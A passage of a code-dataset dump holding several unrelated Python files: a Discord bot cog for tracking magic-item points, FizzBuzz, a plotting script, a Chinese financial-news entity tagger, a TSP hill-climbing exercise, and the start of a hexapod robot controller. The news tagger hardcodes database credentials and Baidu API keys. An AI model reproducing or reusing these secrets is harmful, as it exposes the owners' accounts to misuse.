Item\":charRecords['Current Item'], \"Magic Items\":charRecords['Magic Items'], \"Grouped\":charRecords['Grouped']}\n statSplit = None\n unsetTP = False\n # For the stat books, this will increase the characters stats permanently here.\n if 'Attunement' not in mRecord and 'Stat Bonuses' in mRecord:\n if 'Max Stats' not in charRecords:\n charRecords['Max Stats'] = {'STR':20, 'DEX':20, 'CON':20, 'INT':20, 'WIS':20, 'CHA':20}\n\n print(charRecords['Max Stats'])\n # statSplit = MAX STAT +X\n statSplit = mRecord['Stat Bonuses'].split(' +')\n maxSplit = statSplit[0].split(' ')\n oldStat = charRecords[maxSplit[1]]\n\n #Increase stats from Manual/Tome and add to max stats. \n if \"MAX\" in statSplit[0]:\n charRecords[maxSplit[1]] += int(statSplit[1]) \n charRecords['Max Stats'][maxSplit[1]] += int(statSplit[1]) \n\n setData[maxSplit[1]] = int(charRecords[maxSplit[1]])\n setData['Max Stats'] = charRecords['Max Stats'] \n\n # If the stat increased was con, recalc HP\n # The old CON is subtracted, and new CON is added.\n # If the player can't destroy magic items, this is done here, otherwise... it will need to be done in $info.\n if 'CON' in maxSplit[1]:\n charRecords['HP'] -= ((int(oldStat) - 10) // 2) * charRecords['Level']\n charRecords['HP'] += ((int(charRecords['CON']) - 10) // 2) * charRecords['Level']\n setData['HP'] = charRecords['HP']\n\n if newTP:\n if charRecords[f\"T{tierNum} TP\"] == 0:\n unsetTP = True\n else:\n setData[f\"T{tierNum} TP\"] = charRecords[f\"T{tierNum} TP\"] \n elif newGP:\n if refundTP:\n if f\"T{tierNum} TP\" not in charRecords:\n charRecords[f\"T{tierNum} TP\"] = 0 \n\n setData[f\"T{tierNum} TP\"] = charRecords[f\"T{tierNum} TP\"] + refundTP \n setData['GP'] = newGP\n else:\n setData['GP'] = newGP\n\n if unsetTP:\n playersCollection.update_one({'_id': charRecords['_id']}, {\"$set\": setData, \"$unset\": {f\"T{tierNum} TP\":1}})\n else:\n playersCollection.update_one({'_id': charRecords['_id']}, {\"$set\": setData})\n db.stats.update_one({\"Life\": 1}, {\"$inc\" : {\"Magic Items.\"+mRecord['Name']: 1}})\n \n except Exception as e:\n print ('MONGO ERROR: ' + str(e))\n tpEmbedmsg = await channel.send(embed=None, content=f\"Uh oh, looks like something went wrong. Try again using the same command!\")\n else:\n if newTP:\n if \"Complete\" in newTP:\n tpEmbed.description = f\"You have acquired **{mRecord['Name']}** for {mRecord['TP']} TP! :tada:\\n\\nCurrent T{tierNum} TP: {charRecords[f'T{tierNum} TP']}\\n\\n\"\n else:\n tpEmbed.description = f\"You have put TP towards **{mRecord['Name']}** but still need to spend more TP in order to complete it!\\n\\nCurrent progress: {newTP}\\n\\nCurrent T{tierNum} TP: {charRecords[f'T{tierNum} TP']}\\n\\n\"\n elif newGP:\n if refundTP:\n tpEmbed.description = f\"You have acquired **{mRecord['Name']}** for {mRecord['GP']} gp! :tada:\\n\\nCurrent gp: {newGP}\\n\\nCurrent T{tierNum} TP: {charRecords[f'T{tierNum} TP'] + refundTP} (refunded {refundTP})\"\n else:\n tpEmbed.description = f\"You have acquired **{mRecord['Name']}** for {mRecord['GP']} gp! :tada:\\n\\nCurrent gp: {newGP}\\n\"\n await tpEmbedmsg.edit(embed=tpEmbed)\n ctx.command.reset_cooldown(ctx)\n\n else:\n await channel.send(f'''**{mItem}** belongs to a tier which you do not have access to or it doesn't exist! Check to see if it's on the Magic Item Table, what tier it is, and your spelling.''')\n ctx.command.reset_cooldown(ctx)\n return\n\n @commands.cooldown(1, float('inf'), type=commands.BucketType.user)\n @tp.command()\n async def discard(self, ctx , charName):\n channel = ctx.channel\n author = ctx.author\n tpEmbed = discord.Embed()\n tpCog = self.bot.get_cog('Tp')\n charRecords, tpEmbedmsg = await checkForChar(ctx, charName, tpEmbed)\n \n #limit responses to just the original user and the appropriate emotes\n def tpEmbedCheck(r, u):\n sameMessage = False\n if tpEmbedmsg.id == r.message.id:\n sameMessage = True\n return ((str(r.emoji) == '✅') or (str(r.emoji) == '❌')) and u == author and sameMessage\n\n def discardEmbedCheck(r, u):\n sameMessage = False\n if tpEmbedmsg.id == r.message.id:\n sameMessage = True\n return ((r.emoji in alphaEmojis[:alphaIndex]) or (str(r.emoji) == '❌')) and u == author and sameMessage\n \n #if the character was found in the DB\n if charRecords:\n # If there are no incomplete TP invested items, cancel command\n if charRecords['Current Item'] == \"None\":\n await channel.send(f'You currently do not have an incomplete item to discard.')\n ctx.command.reset_cooldown(ctx)\n return\n\n # Split curent items into a list and check with user which item they would like to discard\n currentItemList = charRecords['Current Item'].split(', ')\n discardString = \"\"\n # set up the mapping between letter emoji and item to discard\n alphaIndex = 0\n for c in currentItemList:\n discardString += f\"{alphaEmojis[alphaIndex]}: {c}\\n\"\n alphaIndex += 1\n \n #if there is only one item, select it by default and skip the selection proces\n currentItem = currentItemList[0]\n\n if len(currentItemList) > 1:\n tpEmbed.description = f\"You have multiple items with TP invested. Choose a magic item to discard.\\n\\n{discardString}\"\n if tpEmbedmsg:\n await tpEmbedmsg.edit(embed=tpEmbed)\n else:\n tpEmbedmsg = await channel.send(embed=tpEmbed)\n await tpEmbedmsg.add_reaction('❌')\n\n try:\n tReaction, tUser = await self.bot.wait_for(\"reaction_add\", check=discardEmbedCheck , timeout=60)\n except asyncio.TimeoutError:\n await tpEmbedmsg.delete()\n await channel.send(f'TP cancelled. Try again using the same command!')\n ctx.command.reset_cooldown(ctx)\n return\n await tpEmbedmsg.clear_reactions()\n #remove from the list of current items the one that got mapped to the emoji that the user reacted with\n currentItem = currentItemList.pop(alphaEmojis.index(tReaction.emoji))\n else:\n currentItemList = [\"None\"]\n \n #store the original string of the item and find the item name without TP\n currentItemStr = currentItem\n currentItem = currentItem.split('(')[0].strip()\n\n # Item has been chosen, prompt user to be sure.\n tpEmbed.title = f\"Discarding a Magic Item: {charRecords['Name']}\"\n tpEmbed.description = f\"Are you sure you want to discard **{currentItemStr}**?\\n\\n**Note: you will not be refunded any TP which you have put towards it.**\\n\\n✅: Yes\\n\\n❌: Cancel\"\n tpEmbed.set_footer(text=tpEmbed.Empty)\n if tpEmbedmsg:\n await tpEmbedmsg.edit(embed=tpEmbed)\n else:\n tpEmbedmsg = await channel.send(embed=tpEmbed)\n await tpEmbedmsg.add_reaction('✅')\n await tpEmbedmsg.add_reaction('❌')\n\n try:\n tReaction, tUser = await self.bot.wait_for(\"reaction_add\", check=tpEmbedCheck , timeout=60)\n except asyncio.TimeoutError:\n #cancel if no response was given within the timeframe\n await tpEmbedmsg.delete()\n await channel.send(f'TP cancelled. Try again using the same command!')\n ctx.command.reset_cooldown(ctx)\n return\n else:\n await tpEmbedmsg.clear_reactions()\n if tReaction.emoji == '❌':\n await tpEmbedmsg.edit(embed=None, content=f\"TP cancelled. Try again using the same command!\")\n await tpEmbedmsg.clear_reactions()\n ctx.command.reset_cooldown(ctx)\n return\n elif tReaction.emoji == '✅': \n tpEmbed.clear_fields()\n try:\n #filter out the discarded item and its group from the Grouped property\n def filterGroupedItems(elem):\n if(elem.split(\":\")[1].strip() != currentItem):\n return True\n else: return None\n #update the database\n filtered_grouped = list(filter( filterGroupedItems, charRecords['Grouped']))\n playersCollection = db.players\n playersCollection.update_one({'_id': charRecords['_id']}, {\"$set\": {\"Current Item\":', '.join(currentItemList), \"Grouped\":filtered_grouped}})\n except Exception as e:\n print ('MONGO ERROR: ' + str(e))\n tpEmbedmsg = await channel.send(embed=None, content=f\"Uh oh, looks like something went wrong. Try again using the same command!\")\n else:\n tpEmbed.description = f\"**{currentItem}** has been discarded!\\n\\nCurrent Item(s): {', '.join(currentItemList)}\"\n await tpEmbedmsg.edit(embed=tpEmbed)\n ctx.command.reset_cooldown(ctx)\n\n @commands.cooldown(1, float('inf'), type=commands.BucketType.user)\n @tp.command()\n async def abandon(self, ctx , charName, tierNum):\n channel = ctx.channel\n author = ctx.author\n tpEmbed = discord.Embed()\n tpCog = self.bot.get_cog('Tp')\n\n\n if tierNum not in ('1','2','3','4') and tierNum.lower() not in [r.lower() for r in roleArray]:\n await channel.send(f\"**{tierNum}** is not a valid tier. Please try again with **1**, **2**, **3**, or **4**. Alternatively, type **Junior**, **Journey**, **Elite**, or **True**.\")\n ctx.command.reset_cooldown(ctx)\n return\n\n charRecords, tpEmbedmsg = await checkForChar(ctx, charName, tpEmbed)\n\n if charRecords:\n def tpEmbedCheck(r, u):\n sameMessage = False\n if tpEmbedmsg.id == r.message.id:\n sameMessage = True\n return ((str(r.emoji) == '✅') or (str(r.emoji) == '❌')) and u == author and sameMessage\n \n role = 0\n if tierNum.isdigit():\n role = int(tierNum)\n else:\n role = roleArray.index(tierNum.capitalize()) + 1\n\n if f\"T{role} TP\" not in charRecords:\n await channel.send(f\"You do not have T{role} TP to abandon.\")\n ctx.command.reset_cooldown(ctx)\n return\n \n\n tpEmbed.title = f\"Abandoning a Magic Item: {charRecords['Name']}\" \n tpEmbed.description = f\"Are you sure you want to abandon your Tier {role} TP?\\n\\nYou currently have {charRecords[f'T{role} TP']} Tier {role} TP.\\n\\n**Note: this action is permanent and cannot be reversed.**\\n\\n✅: Yes\\n\\n❌: Cancel\"\n tpEmbed.set_footer(text=tpEmbed.Empty)\n if tpEmbedmsg:\n await tpEmbedmsg.edit(embed=tpEmbed)\n else:\n tpEmbedmsg = await channel.send(embed=tpEmbed)\n await tpEmbedmsg.add_reaction('✅')\n await tpEmbedmsg.add_reaction('❌')\n try:\n tReaction, tUser = await self.bot.wait_for(\"reaction_add\", check=tpEmbedCheck , timeout=60)\n except asyncio.TimeoutError:\n await tpEmbedmsg.delete()\n await channel.send(f'TP cancelled. Try again using the same command!')\n ctx.command.reset_cooldown(ctx)\n return\n else:\n await tpEmbedmsg.clear_reactions()\n if tReaction.emoji == '❌':\n await tpEmbedmsg.edit(embed=None, content=f\"TP cancelled. Try again using the same command!\")\n await tpEmbedmsg.clear_reactions()\n ctx.command.reset_cooldown(ctx)\n return\n elif tReaction.emoji == '✅': \n tpEmbed.clear_fields()\n try:\n playersCollection = db.players\n playersCollection.update_one({'_id': charRecords['_id']}, {\"$unset\": {f\"T{role} TP\":1}})\n except Exception as e:\n print ('MONGO ERROR: ' + str(e))\n tpEmbedmsg = await channel.send(embed=None, content=\"Uh oh, looks like something went wrong. Try again using the same command!\")\n else:\n tpEmbed.description = f\"You have abandoned {charRecords[f'T{role} TP']} T{role} TP!\"\n await tpEmbedmsg.edit(embed=tpEmbed)\n ctx.command.reset_cooldown(ctx)\n\n\ndef setup(bot):\n bot.add_cog(Tp(bot))\n","repo_name":"kkv263/friendbot","sub_path":"cogs/tp.py","file_name":"tp.py","file_ext":"py","file_size_in_byte":38747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29708077989","text":"def run( N, M):\n sequence = []\n fizz = [*range(0, M+1, 3)]\n buzz = [*range(0, M+1, 5)]\n print(fizz)\n print(buzz)\n x = range(N,M+1)\n for n in x:\n if n in fizz:\n sequence.append(\"Fizz\")\n elif n in buzz:\n sequence.append(\"Buzz\")\n else:\n sequence.append(n)\n\n return \",\".join(map(str, sequence))\n\n\nrun(5,15)\n","repo_name":"gadorcc/Algorithm2","sub_path":"Codewards_Kata/Buz.py","file_name":"Buz.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12097772413","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef rolling_median(x, n):\n x = np.array(x)\n idx = np.arange(n) + np.arange(len(x) - n + 1)[:, None]\n b = [row[row>0] for row in x[idx]]\n return np.array(list(map(np.median, b)))\n\n\ndef readfile(fname):\n xs, ts, lcs = [], [], []\n with open(fname, 'r') as fp:\n for line in fp:\n x, y, lc = line.strip().split(' ')\n xs.append(int(x)); ts.append(float(y[:-1])); lcs.append(int(lc))\n return xs, ts, lcs\n\n\ndef plot(xs, ts, lcs):\n ts = rolling_median(ts, 5)\n plt.plot(ts, label='time')\n # plt.plot(xs, [_l/max(lcs) for _l in lcs], label='loop count')\n plt.xlabel('Num bots')\n plt.ylabel('Time steps')\n # plt.legend()\n plt.show()\n\n\nif __name__ == '__main__':\n xs, ys, lcs = readfile(\"num_bots_vs_performance.txt\")\n plot(xs, ys, lcs)\n","repo_name":"teshanshanuka/swarm_construction","sub_path":"plot_n_vs_perf.py","file_name":"plot_n_vs_perf.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5118115496","text":"# -*- coding: UTF-8 -*-\r\nimport pymysql\r\nimport io\r\nimport re\r\nimport sys\r\nimport time\r\nimport os\r\nimport jieba\r\nimport jieba.posseg as pseg\r\nfrom format_output import html_head,html_end,html_css,time_statistic,get_current_time\r\nimport traceback\r\nfrom bisect import bisect_left\r\nfrom aip import AipNlp\r\n\r\ntry:\r\n import cPickle as pickle\r\nexcept:\r\n import pickle\r\n\r\n\r\nbonds = []\r\ncomps = []\r\nfind_cnt=0\r\napi=None\r\ncall_cnt = 0\r\n@time_statistic\r\ndef connect_db():\r\n db = pymysql.connect(host=\"10.1.10.61\", user=\"bond_read\", password=\"2@HQm#VG\", db=\"lh_bond\", charset='utf8')\r\n return db\r\n\r\n@time_statistic\r\ndef get_test_data(cursor,newsfile='newsdata.pkl'):\r\n news=set()\r\n newsdata = {}\r\n cursor.execute('select NEWSCODE from T_NEWS_FIN_BD order by rand() limit 55')\r\n res = cursor.fetchall()\r\n for row in res:\r\n news.add(str(row[0]))\r\n cursor.execute('select NEWSCODE from T_NEWS_COMPANY_BD order by rand() limit 55')\r\n res = cursor.fetchall()\r\n for row in res:\r\n news.add(str(row[0]))\r\n for newscode in news:\r\n cursor.execute('select newstitle,newscontent from lh_bond_news where newscode=%s',newscode)\r\n res = cursor.fetchone()\r\n if res:\r\n newsdata[newscode] = res\r\n else:\r\n print(\"find newscode %s failed\" % newscode)\r\n\r\n with open(\"../database/%s\" % newsfile,'wb') as wf:\r\n pickle.dump(newsdata,wf,True)\r\n return newsfile\r\n\r\n@time_statistic\r\ndef get_bond(cursor,resfile='../database/bonds_data.pkl'):\r\n bonds = []\r\n cursor.execute(\"select secode, exchange, symbol, bondname, bondsname from TQ_BD_BASICINFO\")\r\n res = cursor.fetchall()\r\n for row in res:\r\n for attr in row:\r\n if attr:\r\n bonds.append(str(attr))\r\n print(\"len of bonds:\", len(bonds))\r\n bonds.sort()\r\n with open(resfile,'wb') as wf:\r\n pickle.dump(bonds,wf,True)\r\n return resfile\r\n\r\n\r\n@time_statistic\r\ndef get_comp(cursor,resfile='../database/comps_data.pkl'):\r\n comps = []\r\n cursor.execute(\"select compcode,compname,compsname,engname,engsname from TQ_COMP_INFO\")\r\n res = cursor.fetchall()\r\n for row in res:\r\n for attr in row:\r\n if attr:\r\n comps.append(str(attr))\r\n print(\"len of comps:\",len(comps))\r\n comps.sort()\r\n with open(resfile,'wb') as wf:\r\n pickle.dump(comps,wf,True)\r\n return resfile\r\n\r\n# @time_statistic\r\n# def recognize_news(newsdata, resultfile=None,write_encoding='utf-8',sample=None):\r\n# def tokenize_text(text):\r\n# res = pseg.cut(text)\r\n# html = \"\"\r\n# for word, tag in res:\r\n# if (tag == 'comp'):\r\n# html += '''%s''' % word\r\n# elif (tag == 'bond'):\r\n# html += '''%s''' % word\r\n# else:\r\n# html += word\r\n# html += '
'\r\n# return html\r\n#\r\n# with open(resultfile, 'w', encoding=write_encoding) as wf:\r\n# i = 0\r\n# html_text = \"\"\r\n# for newscode in newsdata:\r\n# newstitle,newscontent = newsdata[newscode]\r\n# try:\r\n# html_text += \"

newscode: %s

\" % newscode\r\n# html_text += tokenize_text(newstitle) + tokenize_text(newscontent)\r\n# i += 1\r\n# if i == 100:\r\n# print(\"processed %d news\" % i)\r\n# if sample and i == sample:\r\n# print(\"complete test %d news\" % sample)\r\n# break\r\n# except Exception as e:\r\n# print(\"newscode = %s error\" % newscode)\r\n# print(e)\r\n# html = html_head + html_css + html_text + html_end\r\n# wf.write(html)\r\n\r\n\r\n\r\ndef load_data(newsfile,file1,file2):\r\n os.chdir(\"../database\")\r\n with open(newsfile,'rb') as nf, open(file1,'rb') as f1, open(file2,'rb') as f2:\r\n newsdata = pickle.load(nf,encoding='utf-8')\r\n print(\"load news file successfully, len of bonds:\", len(newsdata))\r\n bonds = pickle.load(f1,encoding='utf-8')\r\n print(\"load bonds file successfully, len of bonds:\", len(bonds))\r\n comps = pickle.load(f2,encoding='utf-8')\r\n print(\"load comps file successfully, len of comps:\", len(comps))\r\n os.chdir(\"../scripts\")\r\n return newsdata,bonds,comps\r\n\r\ndef preprocess(text):\r\n return re.split(r',|。|,|;|;|!|!|\\?|?|\\s|\\\"|“|”', text)\r\n\r\n\r\ndef binary_search(a, x, lo=0, hi=None): # can't use a to specify default for hi\r\n hi = hi if hi is not None else len(a) # hi defaults to len(a)\r\n pos = bisect_left(a, x, lo, hi) # find insertion position\r\n return (pos if pos != hi and a[pos] == x else -1) # don't walk off the end\r\n\r\n\r\n\r\n\r\ndef tag_search(text):\r\n def findwords(sentence, window):\r\n tagwords = []\r\n n = len(sentence)\r\n for i in range(n-window):\r\n word = sentence[i:i+window]\r\n if binary_search(bonds,word)!=-1:\r\n tagwords.append((word,'bond'))\r\n elif binary_search(comps,word)!=-1:\r\n tagwords.append(((word,'comp')))\r\n return tagwords\r\n ptext = preprocess(text)\r\n related_words = []\r\n for sentence in ptext:\r\n for d in range(1,min(30,len(sentence) + 1)):\r\n related_words += findwords(sentence,d)\r\n return related_words\r\n\r\n\r\ndef tag_jieba(text):\r\n def load_jieba_dicts(dict_folder=\"../jieba_low_freq_dict\"):\r\n for dictname in os.listdir(dict_folder):\r\n print(\"load dict %s\" % dictname)\r\n jieba.load_userdict(dict_folder + '/' + dictname)\r\n jieba.initialize()\r\n load_jieba_dicts()\r\n res = pseg.cut(text)\r\n for word,tag in res:\r\n print(word,tag)\r\n\r\ndef get_baidu_api():\r\n APP_ID = '10703963'\r\n API_KEY = 'CliSHDD6DSoUN9dPTUMbDNdS'\r\n SECRET_KEY = 'MP5pdqNggcX97sacVcsOLRo5qXsplPku'\r\n global api\r\n api = AipNlp(APP_ID, API_KEY, SECRET_KEY)\r\n\r\n\r\n\r\ndef tag_baidu(text):\r\n global api,call_cnt\r\n # print(\"baidu tag words:\")\r\n related_words = []\r\n try:\r\n ptext = preprocess(text)\r\n for sentence in ptext:\r\n if len(sentence)>1:\r\n sentence = sentence.replace('\\xa0', ' ').replace('\\\\u000', ' ')\r\n res = api.lexerCustom(sentence)\r\n call_cnt += 1\r\n if call_cnt% 19 == 0:\r\n time.sleep(1)\r\n if res and res.get('items'):\r\n for item in res.get('items'):\r\n if item['ne'] == 'BOND':\r\n related_words.append((item['item'],'bond'))\r\n elif item['ne'] == 'COMP' or item['ne'] == 'ORG':\r\n related_words.append((item['item'], 'comp'))\r\n except Exception as e:\r\n print(e)\r\n traceback.print_exc()\r\n # for word,tag in related_words:\r\n # print(word,tag)\r\n return related_words\r\n\r\n\r\n'''\r\nuse baidu api and search mode\r\nthree mode: tag_baidu, tag_jieba, tag_search\r\n\r\n'''\r\ndef tag_text(text):\r\n global find_cnt\r\n words1 = tag_search(text)\r\n words2 = tag_baidu(text)\r\n related_words = words1 + words2\r\n html = ''\r\n if related_words:\r\n print(\"find %d realted words\" % len(related_words))\r\n find_cnt += len(related_words)\r\n tag_words = {}\r\n for word,tag in related_words:\r\n # print(word,tag)\r\n index = text.find(word)\r\n if index in tag_words:\r\n tag_words[index][0] = max(len(word),tag_words[index][0])\r\n else:\r\n tag_words[index] = [len(word),tag]\r\n\r\n tag_words = sorted(tag_words.items())\r\n last = 0\r\n for index,(wordlen,tag) in tag_words:\r\n if last>index:\r\n continue\r\n if last%s''' % (tag,text[index:index+wordlen])\r\n last = index + wordlen\r\n if lastnewscode: %s

\" % newscode\r\n html_text += tag_text(newstitle) + tag_text(newscontent)\r\n i += 1\r\n if i % 10 == 0:\r\n print(\"processed %d news\" % i)\r\n if sample and i == sample:\r\n print(\"complete test %d news\" % sample)\r\n break\r\n except Exception as e:\r\n print(\"newscode = %s error\" % newscode)\r\n print(e)\r\n traceback.print_exc()\r\n html = html_head + html_css + html_text + html_end\r\n wf.write(html)\r\n\r\n\r\ndef baidu_test(text):\r\n get_baidu_api()\r\n res = tag_baidu(text)\r\n for word,tag in res:\r\n print(word,tag)\r\n\r\n'''\r\njust for test, a piece of news\r\n'''\r\ndef test_one(text):\r\n words1 = tag_search(text)\r\n words2 = tag_baidu(text)\r\n # related_words format:[(word,tag),(word,tag),....]\r\n related_words = words1 + words2\r\n if related_words:\r\n tag_words = {}\r\n for word, tag in related_words:\r\n print(word,tag)\r\n index = text.find(word)\r\n if index in tag_words:\r\n tag_words[index][0] = max(len(word), tag_words[index][0])\r\n else:\r\n tag_words[index] = [len(word), tag]\r\n\r\n tag_words = sorted(tag_words.items())\r\n last = 0\r\n for index, (wordlen, tag) in tag_words:\r\n if last > index:\r\n continue\r\n if last < index:\r\n html += text[last:index]\r\n html += '''%s''' % (tag, text[index:index + wordlen])\r\n last = index + wordlen\r\n if last < len(text):\r\n html += text[last:len(text)]\r\n else:\r\n html += text\r\n html += '
'\r\n return html\r\nif __name__ == '__main__':\r\n print('start program')\r\n t1 = time.time()\r\n db = connect_db()\r\n cursor = db.cursor()\r\n # newsfile =get_test_data(cursor)\r\n # bond_file = get_bond(cursor)\r\n # comp_file = get_comp(cursor)\r\n # db.close()\r\n # recognize_news(newsdata, resultfile=\"../report/180408_sample_100.html\",sample=100)\r\n # global bonds,comps\r\n # newsdata,bonds,comps = load_data('newsdata.pkl','bonds_data.pkl','comps_data.pkl')\r\n # get_baidu_api()\r\n # read_news(newsdata,resultfile=\"../report/180410_1142_sample_100.html\",sample=100)\r\n # print(\"find %d words\" % find_cnt)\r\n # text = '上海银监局称,2012年、2013年,该分行未能通过有效的内部控制措施发现并纠正其员工私售行为,内部控制严重违反审慎经营规则。  上海银监局表示,依据《中华人民共和国银行业监督管理法》第四十六条第(五)项,决定对民生银行上海分行做出责令改正,并处罚款人民币50万元的行政处罚决定。 '\r\n # text2='民生银行上海分行内控不当员工私售 被责令改正罚款50万\t民生银行上海分行内控不当员工私售 被责令改正罚款50万信息来源:新浪财经   2017-03-17           上海银监局发布的对民生银行上海分行的行政处罚决定  3月17日,上海银监局发布对中国民生银行股份有限公司上海分行的行政处罚决定,该行主要负责人为胡庆华,上海银监局称,2012年、2013年,该分行未能通过有效的内部控制措施发现并纠正其员工私售行为,内部控制严重违反审慎经营规则。  上海银监局表示,依据《中华人民共和国银行业监督管理法》第四十六条第(五)项,决定对民生银行上海分行做出责令改正,并处罚款人民币50万元的行政处罚决定。'\r\n # text3='巨潮资讯网网站上发布有公告 “证通电子:为全资子公司向银行申请综合授信提供担保的公告”,详情请见附件:附件下载超链接 '\r\n # text4='在新入4家股东中,瑞煜(上海)股权投资基金合伙企业(以下简称“瑞煜”)、北京合盛源投资管理有限公司(以下简称“合盛源”)两家公司资金均来源于无法穿透的信托'\r\n # text5='光大银行今年涉及的违约债券共7起,其中3起(11中城建MTN1、12中城建MTN1、14中城建PPN004)为中城建近期发生的违约债券'\r\n # baidu_test(text5)\r\n # t2 = time.time()\r\n # print('completed, spent time:', time.strftime(\"%H:%M:%S\", time.gmtime(t2-t1)))\r\n print(\"vpn is ok\")\r\n","repo_name":"miracle77/fin-ner","sub_path":"test_100.py","file_name":"test_100.py","file_ext":"py","file_size_in_byte":12941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71171711081","text":"import math\nimport random\nclass node:\n def __init__(self, id, x, y, conns):\n self.id = id\n self.x = x\n self.y = y\n self.conns = conns\nclass map:\n def __init__(self, nodes):\n self.nodes = nodes\n\n def findNode(self, id):\n for node in self.nodes:\n if node.id == id:\n return node\n\ndef getDist(node1, node2):\n dist = math.sqrt((node1.x - node2.x)**2 + (node1.y - node2.y)**2)\n return dist\n\nclass tspHillClimbing:\n def __init__(self, map):\n self.map = map\n self.solution = []\n self.startNode = \"-999\"\n self.goalTestRequests = 0\n self.goalTestsExceeded = False\n\n def randomStartNode(self):\n i = random.randint(0,len(self.map.nodes) - 1)\n self.startNode = self.map.nodes[i].id\n\n def getUphillNode(self, node):\n neighbors = []\n neighborsObjective =[]\n neighborsDist = []\n ineighbors = []\n ineighborsObjective = []\n ineighborsDist = []\n for id in node.conns:\n #print(id)\n neighborNode = self.map.findNode(id)\n neighbors.append(neighborNode)\n neighborsObjective.append(1 - self.solution.count(id))\n neighborsDist.append(getDist(node, neighborNode))\n\n indexes = [i for i, j in enumerate(neighborsObjective) if j == max(neighborsObjective)]\n\n for i in range(0,len(indexes)):\n ineighbors.append(neighbors[indexes[i]])\n ineighborsObjective.append(neighborsObjective[indexes[i]])\n ineighborsDist.append(neighborsDist[indexes[i]])\n index = ineighborsDist.index(min(ineighborsDist))\n return ineighbors[index]\n\n def goalTest(self):\n self.goalTestRequests = self.goalTestRequests + 1\n if self.goalTestRequests >= 100:\n self.goalTestsExceeded = True\n for node in self.map.nodes:\n if not node.id in self.solution:\n return False\n return True\n\n def solve(self):\n path = []\n goalTest = False\n node = self.map.findNode(self.startNode)\n self.solution.append(node.id)\n goalTest = self.goalTest()\n\n\n while not goalTest and not self.goalTestsExceeded:\n node = self.getUphillNode(node)\n self.solution.append(node.id)\n goalTest = self.goalTest()\n print(self.solution)\n #self.solution.append(self.solution[0])\n return not self.goalTestsExceeded\n\n def totalDist(self):\n totDist = 0\n for i in range(0,len(self.solution)-1):\n node1 = self.map.findNode(self.solution[i])\n node2 = self.map.findNode(self.solution[i+1])\n totDist += getDist(node1,node2)\n\n return totDist\n\nA = node(\"A\", 0, 0, [\"D\", \"B\", \"C\"])\nB = node(\"B\", 5, 0, [\"A\", \"D\", \"C\"])\nC = node(\"C\", 2, 5, [\"A\", \"B\", \"D\"])\nD = node(\"D\", 3, 2, [\"A\", \"B\", \"C\"])\n\ntheMap = map([A,B,C,D])\n#print(theMap.findNode(\"D\"))\nhillClimbing = tspHillClimbing(theMap)\nhillClimbing.randomStartNode()\nprint(hillClimbing.solve())\nprint(\"Total Distance: \" + str(hillClimbing.totalDist()))\n","repo_name":"nmliedtke/CS534_ArtificialIntelligence","sub_path":"HW2/Question4.py","file_name":"Question4.py","file_ext":"py","file_size_in_byte":3124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40316090208","text":"#!/usr/bin/env python3\nfrom functools import update_wrapper\nimport json\nimport serial.tools.list_ports\nimport serial\nimport time\n\nfrom hexy import inki\n\nVERBOSE=False\n\ndef vprint(*args, **kwargs):\n if VERBOSE:\n print(*args, **kwargs)\n pass\n pass\n\nclass MockSerial(object):\n def __init__(self):\n vprint(\"Creating mock serial object.\")\n self.is_open = False\n pass\n\n def open(self):\n vprint(\"Opening mock serial connection.\")\n self.is_open = True\n\n def close(self):\n vprint(\"Closing mock serial connection.\")\n self.is_open = False\n\n def __enter__(self):\n self.open()\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n pass\n\n def write(self, s):\n if not self.is_open:\n raise RuntimeError(\"MockSerial not connected!\")\n vprint(\"Command sent to mock serial: {}\".format(json.dumps(s.decode(\"utf-8\"))))\n\ndef dump_port_info(port):\n print(dir(port))\n attrs = ['apply_usb_info', 'description', 'device', 'hwid', 'interface',\n 'location', 'manufacturer', 'name', 'pid', 'product',\n 'serial_number', 'usb_description', 'usb_info', 'vid']\n for attr in attrs:\n if hasattr(port, attr):\n if attr in [\"usb_info\",\"usb_description\"]:\n print(\"{attr} : {val}\".format(attr=attr, val=getattr(port, attr)()))\n else:\n print(\"{attr} : {val}\".format(attr=attr, val=getattr(port, attr)))\n pass\n pass\n pass\n\ndef find_port(attr=\"product\", value=\"servotor32\", fallback_to_mock=False):\n ports = list(serial.tools.list_ports.comports())\n for p in ports:\n # dump_port_info(p)\n if getattr(p, attr, None) and value.lower() in getattr(p, attr, \"\").lower():\n return serial.Serial(p.device, 9600)\n pass\n if fallback_to_mock:\n return MockSerial()\n pass\n\nsercmd = lambda x: \"{}\\n\".format(x).encode(\"utf-8\")\n\ndef move_cmd(number, angle_degrees, offset=0, sign=1):\n angle_degrees *= sign\n angle_degrees += offset\n position = 1500\n if abs(angle_degrees) > 90:\n angle_degrees = 90 * angle_degrees / abs(angle_degrees)\n position = int(1500.0 + float(angle_degrees) * 1000.0/90.0)\n return sercmd(\"#{}P{}\".format(number, position))\n\ndef limp_cmd(number):\n return sercmd(\"#{}L\".format(number))\n\nKILL = sercmd(\"K\")\nCENTER = sercmd(\"C\")\n# Need to add read capability before the next two will work.\n# VERSION = sercmd(\"V\")\n# DEBUG = sercmd(\"D\")\n\n\ndef needs_hexy(function):\n def newfunc(_self, *args, **kwargs):\n if not _self.connected():\n raise RuntimeError(\"Must connect to a hexy before moving!\")\n return function(_self, *args, **kwargs)\n update_wrapper(newfunc, function)\n return newfunc\n\nclass Hexy(object):\n leg_servos = {\n # Numbers are hip, thigh, knee, in that order.\n \"LF\":(7,6,5),\n \"LM\":(11,10,9),\n \"LR\":(15,14,13),\n # NOTE: I think Jeff's servo #24 (right front hip) needs to be replaced.\n # It seems to have a strangely limited range of motion.\n \"RF\":(24,25,26),\n \"RM\":(20,21,22),\n \"RR\":(16,17,18),\n }\n\n servo_signs = {\n # positive 1 indicates that a positive angle will move the appendage forwards or upwards\n # negative 1 indicates that a positive angle will move the appendage backwards or downwards\n # (so, we'll multiple those guys by -1 to get them in line with the standard)\n \"LF\":(-1,-1,1),\n 